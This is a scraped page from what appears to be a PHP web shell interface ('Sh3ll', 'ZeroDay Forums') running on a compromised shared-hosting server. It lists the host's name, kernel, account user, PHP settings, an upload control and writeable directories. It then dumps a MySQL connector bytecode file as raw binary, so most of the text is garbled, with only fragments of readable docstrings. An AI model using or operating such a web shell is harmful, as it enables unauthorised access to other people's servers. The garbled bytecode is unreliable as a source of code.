Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /opt/hc_python/lib64/python3.12/site-packages/mysql/connector/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/hc_python/lib64/python3.12/site-packages/mysql/connector/__pycache__/utils.cpython-312.pyc
�

���g�#���dZddlmZdZddlZddlmZd�Zd�Zd	�Z	d
�Z
d�Zd�Zd
�Z
d�Zd�Zd�Zd�Zdd�Zd�Zd�Zd�Zdd�Zy)z
Utilities
�)�print_functionFN�)�
struct_unpackc���	t|t�r|St|�}|dk(r|dS|dkr|dd|z
zz}td|�dS|dd|z
zz}td|�dS#�xYw)z&Unpacks the given buffer to an integerrr���<I��<Q)�
isinstance�int�lenr)�buf�length�tmps   �l/opt/hc_python/lib64/python3.12/site-packages/../../../lib/python3.12/site-packages/mysql/connector/utils.py�intreadr#s���
��c�3���J��S����Q�;��q�6�M�
�q�[����6��*�*�C� ��s�+�A�.�.����6��*�*�C� ��s�+�A�.�.���
�s�A"�A"�A"�A"�"A%c�j�|dks|dkDrtd��ttjd|��S)z^
    Takes an unsigned byte (1 byte) and packs it as a bytes-object.

    Returns string.
    r�z int1store requires 0 <= i <= 255�<B��
ValueError�	bytearray�struct�pack��is r�	int1storer5s3��	�1�u��C���;�<�<�����T�1�-�.�.�c�j�|dks|dkDrtd��ttjd|��S)z`
    Takes an unsigned short (2 bytes) and packs it as a bytes-object.

    Returns string.
    r�z"int2store requires 0 <= i <= 65535�<Hrrs r�	int2storer#As3��	�1�u��E�	��=�>�>�����T�1�-�.�.rc�p�|dks|dkDrtd��ttjd|�dd�S)zb
    Takes an unsigned integer (3 bytes) and packs it as a bytes-object.

    Returns string.
    r��z%int3store requires 0 <= i <= 16777215r	�rrs r�	int3storer'Ms:��	�1�u��H���@�A�A�����T�1�-�a��2�3�3rc�j�|dks|dkDrtd��ttjd|��S)zb
    Takes an unsigned integer (4 bytes) and packs it as a bytes-object.

    Returns string.
    r���z'int4store requires 0 <= i <= 4294967295r	rrs r�	int4storer*Ys3��	�1�u��J���B�C�C�����T�1�-�.�.rc�j�|dks|dkDrtd��ttjd|��S)zZ
    Takes an unsigned integer (8 bytes) and packs it as string.

    Returns string.
    r�z!int8store requires 0 <= i <= 2^64rrrs r�	int8storer-es5��	�1�u��(�(��<�=�=�����T�1�-�.�.rc��|dks|dkDrtd��|dkrt}n*|dkrt}n|dkrt}n|dkrt}nt
}||�S)z�
    Takes an unsigned integers and packs it as a bytes-object.

    This function uses int1store, int2store, int3store,
    int4store or int8store depending on the integer value.

    returns string.
    rr,z!intstore requires 0 <= i <=  2^64rr!r%r))rrr#r'r*r-)r�
formed_strings  r�intstorer0qs_��	�1�u��(�(��<�=�=��C�x�!�
�	
�e��!�
�	
�h��!�
�	
�j��!�
�!�
����rc�Z�|dks|dkDrtd��|dkrttjd|��S|dkr"dttjd|��zS|d	kr%d
ttjd|�dd�zSd
ttjd|��zS)z|
    Takes an unsigned integer and packs it as bytes,
    with the information of how much bytes the encoded int takes.
    rr,zRequires 0 <= i <= 2^64�rr!��r"r%��r	r&��rrrs r�lc_intr6�s���
	�1�u��(�(��2�3�3��3�w�����T�1�-�.�.�	
�e����6�;�;�t�Q�#7�8�8�8�	
�h����6�;�;�t�Q�#7��!�#<�=�=�=���6�;�;�t�Q�#7�8�8�8rc��|d|}||d|fS)zi
    Reads bytes from a buffer.

    Returns a tuple with buffer less the read bytes, and the bytes.
    rN��r�size�ress   r�
read_bytesr<�s ���a��+�C����J���rc���|ddk(r|dddfSdx}}|d}|dkr|}|d|zd|d|dzfS|dk(rd}n|dk(rd	}|d
k(rd}t|d|dz�}|||zdzd||dz||zdzfS)u�
    Takes a buffer and reads a length coded string from the start.

    This is how Length coded strings work

    If the string is 250 bytes long or smaller, then it looks like this:

      <-- 1b  -->
      +----------+-------------------------
      |  length  | a string goes here
      +----------+-------------------------

    If the string is bigger than 250, then it looks like this:

      <- 1b -><- 2/3/8 ->
      +------+-----------+-------------------------
      | type |  length   | a string goes here
      +------+-----------+-------------------------

      if type == ü:
          length is code in next 2 bytes
      elif type == ý:
          length is code in next 3 bytes
      elif type == þ:
          length is code in next 8 bytes

    NULL has a special value. If the buffer starts with û then
    it's a NULL and we return None as value.

    Returns a tuple (trucated buffer, bytes).
    rr2rN����r&�r
�r)rr�lsize�fsts    r�read_lc_stringrF�s���@�1�v��}��A�B�������F�U�

�a�&�C�
�c�z����A��J�K� �#�a���
�"3�4�4�	�����	�����
�c�z���
�S��5�1�9�%�
&�F������"�#�$�c�%�!�)�F�U�N�Q�4F�&G�H�Hrc��g}dddd�}t|�}d}||kr�||}|dk(ry|dk(r|jd�|d	z
}nz|d
kr(|}|j||d	z||d	zz�|d	|zz
}nMd}	||}t||d	z||d	zz�}|j||d	z|z||z|d	zz�|d	|z|zz
}||kr��t	|�S#t$rYywxYw)zXReads all length encoded strings from the given buffer

    Returns a list of bytes
    r@r&r
)r?rArBrrNr2rr>)r�append�KeyErrorr�tuple)r�byteslst�sizes�buf_len�pos�firstrrDs        r�read_lc_string_listrP�s0��
�H��!�!�$�E��#�h�G�
�C�

��-��C����C�<���C�<��O�O�D�!��1�H�C���|�������S�1�W�f��a��.@� A�B��q�6�z�!���� �!�%�L�E�!��c�A�g�u��a��/@�!A�B�������a��%�����#��'�(B�C�E��q�5�y�6�)�)��1��-�4��?��� � �� �s�2C
�
	C�Cc���|�
|�td��|�	|j|�}||dzd|d|fS|�t||�Std��#t$rtd��wxYw)zr
    Reads a string up until a character or for a given size.

    Returns a tuple (trucated buffer, string).
    Nz&read_string() needs either end or sizezend byte not present in bufferrrz.read_string() needs either end or size (weird))r�indexr<)r�endr:�idxs    r�read_stringrUs����{�t�|��A�B�B�
��	?��)�)�C�.�C��C�!�G�H�
�s�1�S�z�*�*�	
�	��#�t�$�$�
�E�
F�F��
�	?��=�>�>�	?�s�A
�
Ac�:�	t|d|�}||d|fS#�xYw)zMRead an integer from buffer

    Returns a tuple (truncated buffer, int)
    rNrCr9s   r�read_intrWs4����c�!�D�k�"��
���J������
�s��c�,�|std��|d}|dk(r|dddfS|dkr|ddt|�fS|dk(r|ddtd|dd�dfS|d	k(r|d
dtd|dd
dz�dfS|d
k(r|ddtd|dd�dfStd��)z�
    Takes a buffer and reads an length code string from the start.

    Returns a tuple with buffer less the integer and the integer read.
    z
Empty buffer.rr2rNr?r&z<xHrArr	rrB�	z<xQz%Failed reading length encoded integer)rr
r)r�lcbytes  r�read_lc_intr[(s������)�)�
��V�F�
��}��A�B�����	�#���A�B���V��%�%�	�3���A�B���u�c�!�A�h�7��:�;�;�	�3���A�B���t�S��1�X��-?�@��C�D�D�	�3���A�B���u�c�!�A�h�7��:�;�;��@�A�Arc	���t|t�s"dj|D�cgc]}d|z��	c}�Sdj|D�cgc]}dt|�z��c}�Scc}wcc}w)z"Debug function for showing buffers�z\x%02x)r�str�join�ord)r�cs  r�_digest_bufferrbCs]���c�3���w�w�s�3�s�!�	�A�
�s�3�4�4�
�7�7��4��1�I��A��&��4�5�5��4��4s�A�A#c��|r3|r|dkDrt|d|�}nt|�}t|dz|z�ytt|��y)z2Debug function printing output of _digest_buffer()rz: N)rb�print)�abuffer�prefix�limit�digests    r�print_bufferriIsG��
��U�Q�Y�#�G�A�e�$4�5�F�#�G�,�F�
�f�t�m�f�$�%�
�n�W�%�&r)NN)N�)�__doc__�
__future__r�__MYSQL_DEBUG__r�catch23rrrr#r'r*r-r0r6r<rFrPrUrWr[rbrir8rr�<module>roso��0�&���
�"��$	/�	/�	4�	/�	/��49�$�2I�j&�RG�*�B�66�	'r

ZeroDay Forums Mini